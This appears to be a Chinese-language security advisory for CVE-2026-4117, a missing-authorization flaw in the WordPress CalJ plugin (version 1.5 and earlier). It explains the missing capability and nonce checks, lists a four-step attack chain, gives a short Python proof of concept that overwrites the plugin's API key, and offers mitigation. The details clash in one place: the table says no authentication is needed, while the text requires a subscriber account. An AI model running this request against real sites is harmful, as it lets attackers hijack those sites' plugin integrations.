IPBUF安全漏洞报告
English
CVE-2026-4117 CVSS 5.3 中危

CVE-2026-4117: WordPress CalJ插件权限缺失漏洞

披露日期: 2026-04-22

漏洞信息

漏洞编号
CVE-2026-4117
漏洞类型
权限缺失
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
WordPress CalJ插件

相关标签

权限缺失WordPressCalJCVE-2026-4117IDOR

漏洞概述

WordPress CalJ 插件在 1.5 及之前版本中存在权限缺失漏洞。该漏洞源于 `CalJSettingsPage` 类构造函数未进行能力校验及 nonce 验证,直接处理 POST 数据中的 'save-obtained-key' 操作。由于插件引导文件在 `is_admin()` 返回 true 时即实例化该类,导致任何向 wp-admin 发起请求的已认证用户均可利用此漏洞修改插件 API 密钥并清除 Shabbat 缓存,进而接管插件的 API 集成功能。

技术细节

该漏洞的技术根源在于 WordPress CalJ 插件的 `CalJSettingsPage` 类构造函数逻辑缺陷。在插件主文件 `calj.php` 中,代码仅通过 `is_admin()` 判断即实例化 `CalJSettingsPage`,这意味着任何访问后台的已认证用户都会触发该类。在 `CalJSettingsPage.php` 的构造函数中,代码直接检测 `$_POST['save-obtained-key']` 参数,若存在则调用 `save_api_key` 方法将 POST 数据中的 API 密钥写入数据库。关键问题在于,此操作未进行 `current_user_can('manage_options')` 权限校验,也未包含任何 nonce 令牌验证。因此,最低权限的订阅者账户即可构造恶意 POST 请求发送至 WordPress 后台,绕过权限限制篡改插件核心配置,导致 API 集成被劫持。

攻击链分析

STEP 1
1. 获取低权限账户
攻击者注册或获取一个 WordPress 网站的订阅者(Subscriber)级别账户。
STEP 2
2. 构造恶意请求
攻击者构造包含 'save-obtained-key' 参数和恶意 API key 的 POST 请求。
STEP 3
3. 发送请求触发漏洞
攻击者向 wp-admin/admin-ajax.php 或相关后台地址发送请求。is_admin() 返回 true,触发 CalJSettingsPage 实例化。
STEP 4
4. 执行未授权操作
构造函数直接处理 POST 数据,由于缺少权限检查,恶意 API key 被保存,攻击者接管插件功能。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL url = "http://target-site.com/wp-admin/" # Attacker's cookies (obtained after low-privilege auth) cookies = { "wordpress_logged_in_hash": "logged_in_cookie_value" } # Payload to update the API key payload = { "save-obtained-key": "1", "calj_api_key": "MALICIOUS_API_KEY" } # Send the POST request response = requests.post(url, data=payload, cookies=cookies) if response.status_code == 200: print("PoC executed successfully. API key likely updated.") else: print("Failed to execute PoC.")

影响范围

WordPress CalJ插件 <= 1.5

防御指南

临时缓解措施
建议立即将插件升级至修复了该漏洞的最新版本。如果无法立即升级,应暂时卸载插件或严格限制非管理员用户对 /wp-admin/ 目录的访问权限,以防止权限提升攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表